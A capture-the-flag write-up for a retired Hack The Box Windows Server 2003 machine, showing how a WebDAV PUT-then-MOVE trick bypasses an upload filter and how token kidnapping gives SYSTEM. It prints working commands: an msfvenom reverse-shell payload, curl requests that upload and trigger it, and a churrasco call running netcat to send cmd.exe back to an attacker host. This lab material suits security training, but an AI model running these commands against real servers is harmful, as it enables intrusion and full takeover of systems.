Target: Hack The Box, retired. Windows Server 2003 SP2 with IIS 6.0, at 10.10.10.15.

The upload filter blocks PUT of an .aspx and allows MOVE of anything. That is the entire foothold, and it generalises: an extension blocklist that does not cover rename is not a control.

The escalation teaches the other half. The IIS service account holds SeImpersonatePrivilege, so the answer is token impersonation rather than a kernel exploit. That is still true on modern Windows, where the same privilege is what makes the Potato family work.

Attack path

IIS 6.0 with WebDAV
      |
      v
PUT shell.txt     (permitted extension)
      |
      v
MOVE to shell.aspx  (server executes it)
      |
      v
shell as NETWORK SERVICE
      |
      v
SeImpersonatePrivilege --> token kidnapping --> NT AUTHORITY\SYSTEM

Enumeration

export TARGET=10.10.10.15
nmap -p- --min-rate 5000 -oA scans/all-ports "$TARGET"
nmap -sC -sV -p80 --script http-webdav-scan,http-methods -oA scans/webdav "$TARGET"

80/tcp open http Microsoft IIS httpd 6.0
| http-methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK
| X-Powered-By: ASP.NET

PUT and MOVE are both allowed, and ASP.NET is enabled.

davtest -url "http://$TARGET"

davtest reports that .txt, .html and others both upload and execute, while .aspx fails to upload. Read that carefully: the block is on upload, not on execution.

Foothold: upload as one thing, rename to another

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.24 LPORT=443 -f aspx -o shell.aspx

# 1. PUT with a permitted extension
curl -X PUT "http://$TARGET/shell.txt" --data-binary @shell.aspx

# 2. MOVE it to one the server executes
curl -X MOVE -H 'Destination: http://'"$TARGET"'/shell.aspx' \
  "http://$TARGET/shell.txt"

Use --data-binary, not -d. -d strips newlines and corrupts the payload, which is the most common reason this appears to fail silently.

nc -lvnp 443
curl "http://$TARGET/shell.aspx"

That gives a shell as the IIS service account. User flag at C:\Documents and Settings\Lakis\Desktop\user.txt.

Escalation

systeminfo
whoami /priv

Windows Server 2003 SP2, and the account holds SeImpersonatePrivilege.

Token kidnapping, the route to prefer

The privilege lets you impersonate a token you can get a handle on. churrasco does exactly that and runs a command as SYSTEM.

impacket-smbserver share . -smb2support

REM the webroot is not writable - use a temp directory
mkdir C:\wmpub\temp
cd C:\wmpub\temp
copy \\10.10.14.24\share\churrasco.exe .
copy \\10.10.14.24\share\nc.exe .
churrasco.exe -d "C:\wmpub\temp\nc.exe -e cmd.exe 10.10.14.24 4444"

The IIS webroot rejects writes. Create your own directory somewhere the service account can write — C:\wmpub\, C:\Temp\, or the profile’s temp path. This trips people who assume the upload directory is usable.

Root flag at C:\Documents and Settings\Administrator\Desktop\root.txt.

The kernel route, and why not to take it

MS14-058 (TrackPopupMenu) also works:

use exploit/windows/local/ms14_058_track_popup_menu

Prefer token kidnapping. It is not a memory-corruption exploit, so it will not bluescreen a fragile 2003 box, it needs no Metasploit, and the technique still transfers — the Potato family is the same privilege abused the same way. MS14-058 is a museum piece.

Worth knowing

A plain msfvenom reverse shell is easier to debug here than a Meterpreter payload, because the common failure is a silent upload rather than a broken session. Get the plain shell working first.

Sources